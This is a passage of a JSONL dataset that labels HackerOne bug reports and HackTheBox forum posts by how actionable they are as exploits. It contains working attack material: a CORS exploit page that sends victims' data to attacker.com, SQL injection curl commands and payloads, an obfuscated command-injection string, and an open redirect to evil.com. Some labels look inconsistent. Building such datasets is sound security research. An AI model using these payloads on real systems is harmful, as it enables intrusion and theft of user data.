"cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "94c26aad028cececd693", "text": "About the Reset Token: It took me 2 days to get all the details right! How i solved it: – The Token formation schema is the same as the CVE indeed – Python Script Implementing Threads (you will send a couple thousand of requests) – “Epoch in Milliseconds” is int(round(time.time() * 1000) in Python – Fire the first request (htbuser) to create and then fire the guessings for the htbadmin in the script – i did use a wider interval T-2000 T+2000 Obs: you wont be able to match the HTBUSER token unless you know exactly the milliseconds when it was created (and you dont need it, dont waste time with that).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "17648bd26a3ea5bf89ef", "text": "[Improper Access Control - Generic] Improper access control on Linkedin Page\n\nDear security team,\nI found a critical bug on linkedin page.\nIf any user added someone as super admin by mistakenly , and then edited the role and changes to analyst, still they can publish post on the page as super admin.\n\nStep to reproduce:\n1.Add someone(ex name: jesna) as superadmin\n2.Jesna saw it and opened the page in super admin view(You've open linkedin page as jesna in other private window or other device)\n3.Then you change the role of jesna to analyst\n4.But jesna didn't refreshed her page, she is still in the super admin view\n5.jesna try to publish a post\n6.post got published in the page\n\nI'm attaching complete POC: █████\n\n## Impact\n\n1.The analyst can publish post\n2.It is harmful for page or to the company\n3.Improper access to the page will degrade the company,if the user post something bad in the page", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8bd5790f4791a7c702e9", "text": "Hi i`ve been reading this topic in order to answer 3 questions: How many files exist on the system that have the “.bak” file extension? How many files exist on the system that have the “.log” file extension? How many total packages are installed on the target system? So i use this commands: find / -name “*.bak” 2>/dev/null | wc -l find / -name “*.log” 2>/dev/null | wc -l apt list --installed | wc -l The results of the output are: 1 136 3602 The 3 results are incorrect answers… i dont understand what is wrong, can sombody help me? I know the answer for question number 1 is 4 by reading this topic but i can only obtein 1 as an output.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "120167c683d28d56d0db", "text": "[Privilege Escalation] NordVPN Linux Client - Unsafe service file permissions leads to Local Privilege Escalation\n\nThe Linux package available in NordVPN's repository is affected by a permission issue in init script and systemd unit files that allows any user on the system to execute arbitrary command as root.\n\n## Tested Version\n\nTested version is the latest available on the repository, which is `3.10.0` and is available at:\n\nhttps://repo.nordvpn.com/deb/nordvpn/debian/pool/main/nordvpn_3.10.0-1_amd64.deb\n\n```\nroot@debian:/var/cache/apt/archives# sha256sum nordvpn_3.10.0-1_amd64.deb \n04d0089e326542c629c5f50a235de82bf3fa9fa829065be0490a0902e6770b63  nordvpn_3.10.0-1_amd64.deb\n```\n\nTest system is debian 10.\n\nPrevious versions are also affected.\n\n## Technical Details\n\nThe Linux package in the official NordVPN repository ships with the following files:\n\n```\nroot@debian:~# dpkg -c /var/cache/apt/archives/nordvpn_3.10.0-1_amd64.deb \ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./var/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./var/lib/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./var/lib/nordvpn/\n-rw-rw-rw- 0/0            4973 2021-04-07 10:15 ./var/lib/nordvpn/icon.svg\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./etc/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./etc/init.d/\n-rwxrwxrwx 0/0            2442 2021-04-07 10:15 ./etc/init.d/nordvpn\n-rwxr-xr-x 0/0         3135944 2021-05-31 11:44 ./var/lib/nordvpn/openvpn\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/lib/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/lib/systemd/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/lib/systemd/system/\n-rw-rw-rw- 0/0             368 2021-04-07 10:15 ./usr/lib/systemd/system/nordvpnd.service\n-rw-rw-rw- 0/0             229 2021-04-07 10:15 ./usr/lib/systemd/system/nordvpnd.socket\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/lib/tmpfiles.d/\n-rw-rw-rw- 0/0              32 2021-04-07 10:15 ./usr/lib/tmpfiles.d/nordvpn.conf\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/bin/\n-rwxr-xr-x 0/0        12274928 2021-05-31 11:45 ./usr/bin/nordvpn\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/sbin/\n-rwxr-xr-x 0/0        25503576 2021-05-31 11:45 ./usr/sbin/nordvpnd\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./var/lib/nordvpn/data/\n-rw------- 0/0              67 2021-05-31 11:43 ./var/lib/nordvpn/data/cybersec.dat\n-rw------- 0/0             137 2021-05-31 11:43 ./var/lib/nordvpn/data/insights.dat\n-rw------- 0/0            3465 2021-05-31 11:43 ./var/lib/nordvpn/data/ovpn_template.xslt\n-rw------- 0/0            4109 2021-05-31 11:43 ./var/lib/nordvpn/data/ovpn_xor_template.xslt\n-rw------- 0/0             800 2021-05-31 11:43 ./var/lib/nordvpn/data/rsa-key-1.pub\n-rw------- 0/0         2924507 2021-05-31 11:43 ./var/lib/nordvpn/data/servers.dat\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/man/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/man/man1/\n-rw-r--r-- 0/0            1813 2021-05-31 11:43 ./usr/share/man/man1/nordvpn.1.gz\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/bash-completion/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/bash-completion/completions/\n-r--r--r-- 0/0             572 2021-05-31 11:44 ./usr/share/bash-completion/completions/nordvpn\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/zsh/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/zsh/functions/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/zsh/functions/Completion/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/zsh/functions/Completion/Unix/\n-r--r--r-- 0/0             488 2021-05-31 11:44 ./usr/share/zsh/functions/Completion/Unix/_nordvpn_auto_complete\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/doc/\ndrwxr-xr-x 0/0               0 2021-05-31 11:45 ./usr/share/doc/nordvpn/\n-rw-r--r-- 0/0            5504 2021-05-31 11:45 ./usr/share/doc/nordvpn/changelog.gz\n```\n\nSome of th", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b4ebb64156ec5a0ad415", "text": "[Information Exposure Through Debug Information] Able to see highest poll result without voting or view result\n\nHi Fetlife, in your last blog post https://fetlife.com/releases/2023-11-10-view-poll-results-without-voting\n\nBut it seem there is a way to see the highest vote count without even without `view result` and I was able to vote later as well. And my appology, I do have a working example, but the exact mechanism I'm not go through the end - which line of code or which request does this (I'll update in comment if I find one - pressure for the first report).\n\nThis vote: https://fetlife.com/users/17704987/s/6168250076, currently have 1 vote, you could find out which vote by doing this:\n\n1. Open Burp and proxy all http request.\n2. Click `view result` and accept.\n\n{F2848145}\n\nBecause I already intercept all request, no request actually go to fetlife server. However, I notice that, the vote number 2 light up.\n\n{F2848148}\n\nIt is infact the vote have highest count (this is the third time I test - so it is not a fluke). I will update my investigate further if I find the root core in comment (it might be in the html).\n\n## Impact\n\nI was able to see which vote have the highest vote without `view result` or even `voting`. Now I know which vote is the highest - and I have not `vote` or even `view result` yet.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6432b400e92e8663a26e", "text": "[Unknown] CPP: Add query for CWE-377 Insecure Temporary File\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "97d0fc5b25e095bd0e81", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-30115: HSTS bypass via trailing dot\n\nAdvisory: https://curl.se/docs/CVE-2022-30115.html\n\nOriginal Report: https://hackerone.com/reports/1557449\n\n## Impact\n\nHSTS bypass", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-30115"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b138fec66fb6d8eeda2a", "text": "[Insecure Direct Object Reference (IDOR)] Private objects exposed through project import\n\n### Summary\nThis is a bypass of https://hackerone.com/reports/743953 , the current fix is blocking all \"_ids\" attributes. However an attacker could still set attributes like `issue_ids` by indrectly settings the field within the `attributes` field it self:\n```\n# project.json\n    \"attributes\": {\n        \"issue_ids\": [ 29279725 ],\n        \"description\": \"Set from attributes[description]\"\n    },\n```\n\n### Steps to reproduce\n\n1. Import the attached tarball.\n2. Check issues tab\n\nThe other parts of the report are mostly same as those I mentioned in https://hackerone.com/reports/743953 , I decide to write a new report considering the impact to gitlab.com.\n\n## Impact\n\nWith this ability to modify relations between objects, an attacker could end up with accessing random resources of other users by traversing the incremental ID space.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6ada4a54b33e151c39fb", "text": "[Unknown] Take over subdomains of r2.dev using R2 custom domains\n\n> **███████** ████ [████ █████████]██████████████████ ███ ██████████\n\nIt is possible to take over any subdomain of `r2.dev` (possible also the base domain) and have it serve the contents of an R2 bucket in your account.\n\n### Requirements\n\nAccess to R2 public buckets in the dashboard is currently behind a flag. The server-side check for access to R2 public buckets was recently removed, so you can just use an mitmproxy script to toggle the flag client-side.\n\n```py\nimport json\nimport mitmproxy\nimport re\n\n\nclass R2PublicBuckets:\n\tasync def response(self, flow: mitmproxy.http.HTTPFlow):\n\t\tif re.match(r'https?://dash\\.cloudflare\\.com/api/v4/accounts/[0-9a-f]{32}/flags', flow.request.url):\n\t\t\tdata = json.loads(flow.response.text)\n\t\t\tdata['result']['workers']['r2_publicbuckets'] = True\n\t\t\tflow.response.text = json.dumps(data, separators=(',', ':'))\n\naddons = [\n\tR2PublicBuckets()\n]\n```\n\n### Steps\n\n1. Add `r2.dev` to your Cloudflare account and follow the steps until you're asked to complete zone ownership verification.\n\n2. Create an R2 bucket if you don't already have one and add e.g. `albert.r2.dev` as a custom domain in the \"Domain Access\" section.\n\n{F1926348}\n\n3. Wait a few seconds and then refresh the page. The custom domain should now show \"Status: Active\". In case \"Access to Bucket\" is \"Not allowed\", click the three dots besides the domain and then \"Enable domain\".\n\n{F1926346}\n\n4. Visit the custom domain and notice how it serves content from your R2 bucket.\n\n{F1926347}\n\nAdditionally, this vulnerability can also be used to *block* another domain from being used as an R2 custom domain. Simply repeat step one and two for the target zone/domain. If the user tries to add the domain as a custom domain for their R2 bucket, the API will throw an error and the custom domain will be activated in your account. The target domain will then serve the contents of your bucket until the user deletes the custom domain (which will show \"Status: Error\") on their end. An example of this is https://r2.walshy.dev/.\n\n### Cause\n\nThis vulnerability exists because the API does not check if the zone is active before adding the specified domain as an SSL for SaaS custom hostname. I presume taking over subdomains of `r2.dev` is only possible because they're in the same zone as the fallback origin, and/or there's already a CNAME record on `*.r2.dev` pointing to the fallback origin (`public.r2.dev`).\n\n## Impact\n\nEvery R2 bucket has a `pub-<public_id>.r2.dev` subdomain which, when public bucket access is enabled, will serve the contents of the bucket. This vulnerability can be used to take over those subdomains and instead have them serve content from your bucket.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "51473ba65dc4879dde84", "text": "[Business Logic Errors] (CORS) Cross-origin resource sharing misconfiguration on https://█████████\n\nStep-by-step Reproduction :\n\n\nSend this request:\n```\nGET /██████████ HTTP/1.1\nHost: █████\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\nConnection: close\n█████████\nOrigin: http://attacker.com\n\n```\nReceive : \n\n```\nHTTP/1.1 200 OK\nCache-Control: max-age=0,must-revalidate\nExpires: Wed, 31 Dec 1969 16:00:00 PST\nVary: Origin\nAccess-Control-Allow-Origin: http://attacker.com\nAccess-Control-Allow-Credentials: true\n```\n\n`Access-Control-Allow-Origin: http://attacker.com`\n`Access-Control-Allow-Credentials: true`\n\ncURL with response header \n\n██████\n\n\nSo you can write exploit:\n\n```\n<!DOCTYPE html>\n<html>\n<body>\n<center>\n<h2>exploit</h2>\n<html>\n<body>\n<button type='button' onclick='cors()'>Exploit</button>\n<p id='demo'></p>\n<script>\nfunction cors() {\nvar xhttp = new XMLHttpRequest();\nxhttp.onreadystatechange = function() {\nif (this.readyState == 4 && this.status == 200) {\nvar a = this.responseText;\ndocument.getElementById(\"demo\").innerHTML = a;\nxhttp.open(\"POST\", \"http://attacker.com\", true);\nxhttp.withCredentials = true;\nconsole.log(a);\nxhttp.send(\"data=\"+a);\n}\n};\nxhttp.open(\"GET\", \"https://█████/██████\", true);\nxhttp.withCredentials = true;\nxhttp.send();\n}\n</script>\n</body>\n</html>\n```\n\nPOC VIDEO\n\n██████████\n\n## Impact\n\nAttacker would treat many victims to visit attacker’s website, if victim is logged in, then his personal information is recorded in attacker’s server.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df5a0a2b065f1c15f78e", "text": "[Open Redirect] Open redirect at mc-beta-cloud-acronis.com\n\nOpen Redirect Vulnerability\n\nSteps To Reproduce:\nType in this URL:\n\nhttps://mc-beta-cloud.acronis.com/api/2/idp/authorize?client_id=f2e82dbb-78af-4b5b-bc7f-651d4f42a722&redirect_uri=%2Fbc%2Fapi%2Fgateway%2Fcb&response_type=code&scope=offline_access+openid+profile+email&state=http://evil.com&nonce=yhokbempqmmqllfbwpsfzfmf\n\nYou got redirect to evil.com\n\nParameter: state\n\n## Impact\n\nn attacker can use this vulnerability to redirect users to other malicious websites, which can be used for phishing and similar attacks", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7238ca993601dec22b22", "text": "[Use of Hard-coded Credentials] Exposed valid AWS, Mysql, Sendgrid and other secrets\n\n## Summary:\nHi team,\n\nI just discovered some hardcoded credentials allowing access to AWS, Mysql database, ...\n\nTo make this report short, here is the POC: \nsee ███ & █████\n## Steps To Reproduce:\n\nwhere there are the info : \n\n<p>\nAPP_NAME=Glovo\nAPP_ENV=local\nAPP_KEY=█████\nAPP_DEBUG=false\nAPP_URL=http://localhost\nLOG_CHANNEL=stack\nLOG_LEVEL=debug\nDB_CONNECTION=mysql\nDB_HOST=██████████\nDB_PORT=3306\nDB_DATABASE=████████\nDB_USERNAME=█████\nDB_PASSWORD=█████████\nBROADCAST_DRIVER=log\nCACHE_DRIVER=file\nQUEUE_CONNECTION=sync\nSESSION_DRIVER=file\nSESSION_LIFETIME=120\nMEMCACHED_HOST=127.0.0.1\nREDIS_HOST=█████\nREDIS_PASSWORD=██████████\nREDIS_PORT=11773\nMAIL_MAILER=smtp\nMAIL_HOST=mailhog\nMAIL_PORT=1025\nMAIL_USERNAME=null\nMAIL_PASSWORD=null\nMAIL_ENCRYPTION=null\nMAIL_FROM_ADDRESS=null\nMAIL_FROM_NAME=\"${APP_NAME}\"\nAWS_ACCESS_KEY_ID=███\nAWS_SECRET_ACCESS_KEY=███████\nAWS_DEFAULT_REGION=eu-central-1\nAWS_BUCKET=glovos3\nPUSHER_APP_ID=\nPUSHER_APP_KEY=\nPUSHER_APP_SECRET=\nPUSHER_APP_CLUSTER=mt1\nMIX_PUSHER_APP_KEY=\"${PUSHER_APP_KEY}\"\nMIX_PUSHER_APP_CLUSTER=\"${PUSHER_APP_CLUSTER}\"\nSENDGRID_API_KEY=████\nMAIL_FROM=glovo@appsmart.ro\nMAIL_REPLY_TO=glovo@appsmart.ro\nREDIS_URL=█████\nLINK_RECEIPT=https://glovo.onlineservice.io/g/c/\nSENDGRID_TEMPLATE=d-6ae3f2fe536c41fda21ad60a18c10cce\nSENDGRID_PUBLIC_KEY=███████\n</p>\n\n\n\n\n  1. The leak was found using Leakix : https://leakix.net/host/16.170.179.191\n\n#Mitigation :\n\nRemove the exposed credentials and revoke them.\n\nRegards,\n\nNB: After checking some files which i deleted immediatly, I found the company name is GLOVOAPPRO SRL and im not sure if it is related to Glovo company, but I can confirm a little bit from the database where I could see delivery fees ... which is about Glovo's principal service (delivery).\n\n## Impact\n\nAnyone could access", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2735029a99c5bd7214c6", "text": "[SQL Injection] SQL Injection on https://████████/\n\n**Summary:**\nhttps://████ is vulnerable to SQL Injection.\n\n**Description:**\nThe `███████` parameter in `https://█████████/██████` does not properly sanitize input, thus allowing an attacker to execute SQL queries on the server!\n\n## Impact\nThis is a **high impact** vulnerability! I saw a list of tables which I'm guessing contain confidential information such as emails, usernames, passwords, etc! Attackers could likely leverage this to Remote Code Execution by finding admin credentials, then gaining unauthorized access to an admin panel! \n\n## Step-by-step Reproduction Instructions\n#### Proof of Concept #1:\n1. Open up your terminal!\n2. Paste this command \n\n```\ncurl -i -s -k  -X $'POST' \\\n    -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Referer: https://██████/██████████?█████████=K' -H $'Upgrade-Insecure-Requests: 1' \\\n    -b $'_ga=GA1.2.2009424950.1494732845; PHPSESSID=35472be86b20b8a7f8c15737a8977f49' \\\n    --data-binary $'█████=K*\\' OR SLEEP(10) AND \\'aSgl\\'=\\'aSgl&sid=35472be86b20b8a7f8c15737a8977f49&emailid=███████&emailid2=█████████' \\\n    $'https://██████/████████'\n```\n3. Now the server will sleep for 10 seconds and then respond! \n\n\n#### Proof of Concept #2: \n```\ncurl -i -s -k  -X $'POST' \\\n    -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Referer: https://██████/███████?█████=K' -H $'Upgrade-Insecure-Requests: 1' \\\n    -b $'_ga=GA1.2.2009424950.1494732845; PHPSESSID=35472be86b20b8a7f8c15737a8977f49' \\\n    --data-binary $'█████=K*\\' OR updatexml(null,concat(0x3a3a,version()),null) AND \\'aSgl\\'=\\'aSgl&sid=35472be86b20b8a7f8c15737a8977f49&emailid=█████████&emailid2=██████████' \\\n    $'https://██████/███'\n```\nYou will see: \"<br><br>You have this list added to your current optionsXPATH syntax error: '::`████`'\"\nwhich is the MySQL version! \n\n**information:**\nCurrent User: `███████@localhost`\nDatabases: `█████`\nVersion: `███`\n\n## Suggested Mitigation/Remediation Actions\nSanitize sanitize sanitize!!\n\nThanks as always ;)\n-Corben Douglas (@sxcurity)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f1e150a43c4fecc84a7", "text": "[HTTP Request Smuggling] Pause-based desync in Apache HTTPD\n\nApache was vulnerable to a pause-based desync. This vulnerability is described in detail in my whitepaper here: https://portswigger.net/research/browser-powered-desync-attacks#pause\n\n## Impact\n\nThis enables server-side HTTP Request Smuggling when Apache is deployed as a back-end server, and it also enables MITM attackers to inject arbitrary JavaScript in spite of TLS.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b2a4df7e2738a7743756", "text": "The target is the one you get from “spawn target” in the Questions section. The Wireshark file offered in the ressources it’s only to get the image file, after that you spawn a target and connect to it USING no machine and realize an active scan from there. Check for a POST request there after a few minutes of scan.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df9c1f90d9746165bf9d", "text": "HTB gives us enough to overcome the module, and well, seeing that they have already provided the answer above, I feel free to express how I solved it. So, HTB gives us the following subdomain: www.inlanefreight.htb . The first thing we would need to do is enumerate the domain inlanefreight.htb: curl -s inlanefreight.htb With this, we obtain the first flag. There is another way to obtain this flag and the following ones. If we interact by fuzzing the vhosts, we find that it gives us a status code of 200. Even when trying with vhosts that would be very unlikely to exist, such as ffmeshfetGFG.inlanefreight.htb, it still returns 200. One thing I noticed is that the “Content-Length” for non-existent Vhosts is always 10918. Using ffuf with this information, the command looks like this: ffuf -w ./vhost -H \"Host: FUZZ.inlanefreight.htb\" -u http://10.129.136.58 -fs 10918 With a bit of patience, we will apply a curl to each discovered VHOST, obtaining the flag.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3466f560970a0fbc340e", "text": "[SQL Injection] SqlInject at ██████\n\n**Description:**\nDear DoD,\nI found the injection at:https://██████/\n\n** Steps to reproduce **\n1.open https://██████████/MEDIA/Posters\n\n2.Type in the search box '\n\n█████\n\n3.After capturing packets through burp, the injection point is at searchText\n\n```\nGET /API/Evotiva-UserFiles/GetItemsServices/GetItems?itemId=27293&rootItemId=27293&sortExpression=LastModifiedOnDate%2Ctrue&searchText=&searchTags=&take=25&skip=0&page=1&pageSize=25 HTTP/1.1\nHost: ███\nTabid: 1236\nSec-Ch-Ua: \"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Microsoft Edge\";v=\"114\"\nRequestverificationtoken: V-hXssqxuHlRDyUEJbBTYFASgfr6bkOTeGgemYKdc0jsjPPEhri1fP1l-vJbcSyUMOYiXQ2\nSec-Ch-Ua-Mobile: ?0\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nModuleid: 9270\nSec-Ch-Ua-Platform: \"Windows\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://██████/MEDIA/Posters\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0\nConnection: close\n\n```\n\n4.proof of concept poc  \nThe following is the poc for ture\n\n```\n')AND+22=22+AND+('NaXY'+LIKE+'NaXY\n```\n████████\n\n5.The following is the poc for false\n```\n')AND+22=21+AND+('NaXY'+LIKE+'NaXY\n```\n██████\n\n5.Get the current user length is 22\n```\n')AND+len(user)=22+AND+('NaXY'+LIKE+'NaXY\n```\n████\n\n██████\n\n6.Get users from the current database\nPOC：\n\nPlease note! Among them, the fifth character is a special character, we need to match it by ascii code\n```\n')AND+ascii(substring(user,5,1))='92'+AND+('NaXY'+LIKE+'NaXY\n```\nThe user who finally ran out was ** nase/svc.puub17.zp.safe **\n\n█████\n\n7.Here is a screenshot of sqlmap\n\n█████\n\n## Impact\n\nAn attacker can obtain information from the database\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nPlease see Description\n\n## Suggested Mitigation/Remediation Actions\nUse parameterized statements, do not splice sql", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7fbf44ceba5e2db88632", "text": "%26%26s’h%09<<<$(rev<<<“txt.galf/%09tac”) could be flagged as malicious because of the ‘/’. Slash was blacklisted for me. Also you probably can still use ${PATH:0:1}, sometimes certain payloads would get reflected back at me as well, even though I could use the strings in them. Maybe try a little more obfuscation around your commands. Most commands are blacklisted on this box.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ab860873c97897026156", "text": "[Improper Authorization] Claiming the listing of a non-delivery restaurant through OTP manipulation\n\n**Summary:** Am able to claim any restaurant which is not claimed before.\n\n**Description:** An endpoint `POST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2` sends OTP to the restaurant mobile no.\n\n##Request (Request:1) is - \n```\nPOST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2\nHost: www.zomato.com\nCookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\nContent-Length: 58\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"\nAccept: application/json, text/plain, */*\nX-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXXXX\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\nContent-Type: application/json;charset=UTF-8\nOrigin: https://www.zomato.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://www.zomato.com/partner_with_us/ownership\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n{\"number\":\"XXXXXXXXXX\",\"isdCode\":\"+91\",\"resId\":\"XXXXXXXXXX\"}\n```\nwhich responses -\n```\n{\"status\":\"success\",\"message\":\"OTP SENT\",\"requestId\":XXXXXXX,\"code\":2}\n```\n\n###Here Attacker gains OTP on his own mobile no by changing the `number` & `resId` to his own restaurant.\n\nBy using the following request (Request:2) attacker is able to map his e-mail Id as `Owner / Manager` to Victim restaurant.\n##Request:2\n```\nPOST /restaurant-onboard-diy/v2/verify-auto-claim-otp HTTP/2\nHost: www.zomato.com\nCookie: XXXXXXXXXXXXXXXX\nContent-Length: 68\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"\nAccept: application/json, text/plain, */*\nX-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXX\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\nContent-Type: application/json;charset=UTF-8\nOrigin: https://www.zomato.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://www.zomato.com/partner_with_us/ownership\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n{\"verificationCode\":XXX,\"requestId\":\"XXXXXXXX\",\"resId\":\"XXXXXXXXX\"}\n```\n\n###Here by changing the `verificationCode`  -  (Otp received on Attacker Mobile in response of Request :1 )& `requestId`  (Response of request:1) and `resId` to Victim Restaurant. Request:2 maps e-mail id of Attacker to Victim restaurant.\n\n**Prerequisite - Attacker should have a restaurant page, mapped Mobile No With Email Id.**\n\n**Note : -  If any restaurant is not mapped owner / manager then claimed restaurant can be claimed **\n\n## Impact\n\nClaim a restaurant.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
